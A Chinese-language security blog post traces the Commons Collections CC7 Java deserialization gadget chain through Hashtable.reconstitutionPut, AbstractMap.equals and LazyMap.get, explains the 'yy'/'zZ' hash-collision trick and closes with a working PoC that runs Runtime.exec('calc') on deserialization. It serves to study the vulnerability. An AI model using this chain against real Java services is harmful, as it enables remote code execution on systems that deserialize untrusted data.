引子

CC7和CC6其实差不多,只不过这里的触发用到了Hashtable类,这次就跟一下这个作为CC链的完结篇。首先看一下前置知识,cc6使用了HashMap和HashSet,cc7使用的是Hashtable。

Hashtable类

我们先看看里面重写的readobject方法:

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException
{// Read in the length, threshold, and loadfactors.defaultReadObject();// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Compute new size with a bit of room 5% to grow but// no larger than the original size.  Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)(elements * loadFactor) + (elements / 20) + 3;if (length > elements && (length & 1) == 0)length--;if (origlength > 0 && length > origlength)length = origlength;table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// synch could be eliminated for performancereconstitutionPut(table, key, value);}
}

可以看到,在最后调用了reconstitutionPut方法。整个看下来会发现通过reconstitutionPut方法将反序列化流中的元素重新放入table数组中。我们继续跟进。

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException
{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {if ((e.hash == hash) && e.key.equals(key)) {throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;
}

可以看到if判断的第二个条件,第二个条件调用了e.key.equals方法,我们假设赋值key为LazyMap,那么就调用了LazyMap.equals。LazyMap没有equals方法,那么调用的就是其父类的equals方法,也就是AbstractMapDecorator的equals方法。

 public boolean equals(Object object) {//是否为同一对象(比较引用)if (object == this) {return true;}//调用HashMap的equals方法return map.equals(object);}

这里的话

return map.equals(object);

map由于我们LazyMap传入的是HashMap所以会跳到HashMap寻找equals方法,而HashMap是没有equals方法的,所以我们跟到它的父类AbstractMap。

public boolean equals(Object o) {if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key)))return false;} else {if (!value.equals(m.get(key)))return false;}}

进入一系列的判断,是否为同一对象,对象的运行类型,Map中元素的个数。最后执行get方法。

m.get(key)

m即为我们设定的LazyMap,也就是LazyMap.get(),之后就是CC6链的部分了。判断传入的key是否存在,如果不在则会进入if语句中调用transform方法,这个方法会调用Transformer数组中的核心利用代码构造命令执行环境,从而产生漏洞。

注意

hash碰撞问题:

也就是Hashtable.reconstitutionPut()哈希碰撞问题,根据代码我们跟进hashcode(),LazyMap调用hashCode方法,实际上会调用AbstractMap抽象类的hashCode方法。跟到最底层会发现

调用了字符串的包装类String的hashCode方法,hashCode方法通过字符的ascii码值计算得到hash值,而yso里的“yy”与“zZ”得到的值是一样的,这就是为什么payload会先传入这两个值。

        lazyMap1.put("yy", 1);lazyMap2.put("zZ", 1);

AbstractMap.equals()个数问题:
Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy),如果lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。所以我们可以这样:在添加第二个元素后,lazyMap2需要调用remove方法删除元素

lazyMap2.remove("yy");

POC

package com.cc;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;/*基于Hashtable的利用链*/
public class CC7Test {public static void main(String[] args) throws Exception {//构造核心利用代码final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);final Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),new ConstantTransformer(1)};//使用Hashtable来构造利用链调用LazyMapMap hashMap1 = new HashMap();Map hashMap2 = new HashMap();Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);lazyMap1.put("yy", 1);Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);lazyMap2.put("zZ", 1);Hashtable hashtable = new Hashtable();hashtable.put(lazyMap1, 1);hashtable.put(lazyMap2, 1);lazyMap2.remove("yy");//输出两个元素的hash值System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());//iTransformers = transformers(反射)Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");iTransformers.setAccessible(true);iTransformers.set(transformerChain, transformers);//序列化  -->  反序列化(hashtable)ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(hashtable);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));ois.readObject();}
}

结尾

CC链目前就跟到了CC7链,先告一段落学点别的东西,之后有空的话再继续深入学习把。希望能帮到大家。

Java安全—CommonsCollections7相关推荐

  1. [Java反序列化]—CommonsCollections7(CC完结篇)

    前言 CC7又跟CC5差不多,也是换了另一种方式来调用get() java.util.Hashtable.readObjectjava.util.Hashtable.reconstitutionPut ...

  2. 『Java安全』反序列化-CC7反序列化漏洞POP链分析_ysoserial CommonsCollections7 PoC分析

    文章目录 前言 代码复现 工具类 PoC 代码审计 | 原理分析 1. LazyMap.get()调用this.factory.transform() 2. AbstractMap.equals()调 ...

  3. 告别脚本小子系列丨JAVA安全(7)——反序列化利用链(中)

    0x01 前言 距离上一次更新JAVA安全的系列文章已经过去一段时间了,在上一篇文章中介绍了反序列化利用链基本知识,并阐述了Transform链的基本知识.Transform链并不是一条完整的利用链, ...

  4. springboot实现SSE服务端主动向客户端推送数据,java服务端向客户端推送数据,kotlin模拟客户端向服务端推送数据

    SSE服务端推送 服务器向浏览器推送信息,除了 WebSocket,还有一种方法:Server-Sent Events(以下简称 SSE).本文介绍它的用法. 在很多业务场景中,会涉及到服务端向客户端 ...

  5. Java 获取当前时间之后的第一个周几,java获取当前日期的下一个周几

    Java 获取当前时间之后的第一个周几,java获取当前日期的下一个周几 //获得入参的日期 Calendar cd = Calendar.getInstance(); cd.setTime(date ...

  6. 在k8s中使用gradle构建java web项目镜像Dockerfile

    在k8s中使用gradle构建java web项目镜像Dockerfile FROM gradle:6-jdk8 AS build COPY --chown=gradle:gradle . /home ...

  7. Java | kotlin 手动注入bean,解决lateinit property loginService has not been initialized异常

    kotlin.UninitializedPropertyAccessException: lateinit property loginService has not been initialized ...

  8. SpringBoot项目使用nacos,kotlin使用nacos,java项目使用nacos,gradle项目使用nacos,maven项目使用nacos

    SpringBoot项目使用nacos kotlin demo见Gitte 一.引入依赖 提示:这里推荐使用2.2.3版本,springboot与nacos的依赖需要版本相同,否则会报错. maven ...

  9. OpenAPI使用(swagger3),Kotlin使用swagger3,Java使用swagger3,gradle、Maven使用swagger3

    OpenAPI使用(swagger3) demo见Gitte 一.背景及名词解释 OpenAPI是规范的正式名称.规范的开发工作于2015年启动,当时SmartBear(负责Swagger工具开发的公 ...

最新文章

  1. win8 app内存溢出检测工具PerfView.exe的使用
  2. 计算机开不开机是什么原因是什么原因,电脑开不了机的原因,详细教您电脑开不了机怎么办...
  3. 数学好的男生适合学计算机吗,数学好的男生适合读什么专业 2021前景好吗
  4. oracel 中序列
  5. ActiveMQ –经纪人网络解释–第3部分
  6. 【NeurIPS 2019】17篇论文,详解图的机器学习趋势
  7. paramiko 遭遇socket.error: Socket is closed 错误的解决办法
  8. 优雅的实现微信分享/支付,组件化
  9. HoloToolkit/unity远程实时传输视频
  10. 适用于Win7系统下Intel 7代核心显卡驱动程序
  11. 创新案例分享 | 升级改造干部档案管理系统,精确剖析干部执行力情况
  12. Linux运行labwindows,Labwindows中异步定时器概述
  13. HTML+CSS实现导航条及下拉菜单
  14. rover教程_为什么NA​​SA开源Rover
  15. 堡垒机Windows远程桌面连接服务器黑屏解决
  16. Oracle11g 调整表空间大小 Resize
  17. 指数分布c语言,C语言下泊松分布以及指数分布随机数生成器实现
  18. 【陈鹏老师精益项目实战】华北区防水材料企业精益生产项目第四期启动
  19. python色卡_Python可视化|08-Palettable库中颜色条Colormap(四)
  20. Mac系统下降级安装stlink-1.4.0方法

热门文章

  1. 计算机集成控制系统应用实例,计算机集成控制系统
  2. selenium第三课(selenium八种定位页面元素方法)
  3. 施耐德昆腾plc怎么获取日志消息
  4. Json Parser Online - Json 在线解析工具 1
  5. #systemverilog# “类”翱翔在systemverilog的天空(2)常用类型举例
  6. 反应式编程,让程序自由的翱翔
  7. oracle vm virtualbox 共享文件夹,virtualbox共享文件夹,教您virtualbox共享文件夹使用方法...
  8. 论文阅读笔记 | 三维目标检测——MV3D算法
  9. 2022亚马逊云科技全球云计算风向标级峰会来袭
  10. 5年java程序员述职报告_一个5年Java程序员的年终总结,献给还在迷茫中的你